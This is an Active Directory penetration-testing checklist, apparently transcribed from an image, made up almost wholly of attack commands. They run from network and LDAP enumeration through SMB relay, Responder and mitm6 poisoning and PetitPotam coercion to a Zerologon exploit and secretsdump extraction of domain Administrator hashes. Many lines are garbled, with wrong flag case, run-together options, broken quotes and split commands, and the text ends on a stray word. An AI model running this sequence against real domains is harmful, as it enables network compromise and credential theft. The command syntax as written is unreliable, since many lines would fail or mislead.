AD pentesting checklist

Scan Network

```
-> cme smb <ip_range> # enumerate smb hosts

-> nmap -SP -p <ip> #ping scan

-> nmap -PN -SV --top-ports 50 --open <ip> # quick scan

-> nmap -PN --script smb-vuln -p139,445 <ip> # search smb vuln

-> nmap -PN-SC-SV <ip> # classic scan

-> nmap -PN -SC-SV -p- <ip> # full scan

-> nmap -SU -SC-SV <ip> # udp scan
```

find AD IP

```
nmcli dev show eth0 # show domain name & dns

-> nslookup -type=SRV _ldap__tcp.dc._msdcs.// DOMAIN/

-> dig axfr <domain_name>@<name_server>
```

zone transfert

```
-> enum4linux -a -u "" -p ' <dc- ip> && enum4linux -a -u " guest" -p "" <dc-ip>
```

find vulnerable host

Enumerate ldap

```
-> nmap -n -SV --script "ldap" and not brute" -p 389 <dc-ip>

-> ldapsearch -x -h <ip> -s base
```

Find user list

```
-> enum4linux -U <dc-ip>| grep 'user:'
-> crackmapexec smb <ip> -u <user> -p '< password>' --users
```

user found.

OSINT - enumerate username on internet

```
-> nmap -p 88 --script-krb5-enum-users --script- args="krb5-enum-users.realm='<domain>',

-> userdb=<users_list_file>"<ip>

-> nmap -Pn -sS -T4 --open --script smb-security-
```

find smb not signed.

```
-> use exploit/windows/smb/smb_relay

-> cme smb $hosts --gen-relay-list relay.txt

-> PetitPotam.py -d <domain> <listener_ip> < target_ip>

-> relay/poisoning

-> responder -i eth0

-> user & hash found

-> mitm6 -d <domain>
```

Zerologon

```
-> python3 cve-2020-1472-exploit.py <MACHINE BIOS_NAME> <ip>

-> secretsdump.py <DOMAIN>/<MACHINE BIOS_ NAME>\S@<IP> -no-pass -just-dc-user" Administrator"

-> secretsdump.py -hashes :<HASH_admin> < DOMAIN>/Administrator@<IP>

-> python3 restorepassword.py -target-ip <IP> < DOMAIN>/<MACHINE_BIOS_NAME>@<MACHINE_
BIOS_NAME> -hexpass <HEXPASS>
```

user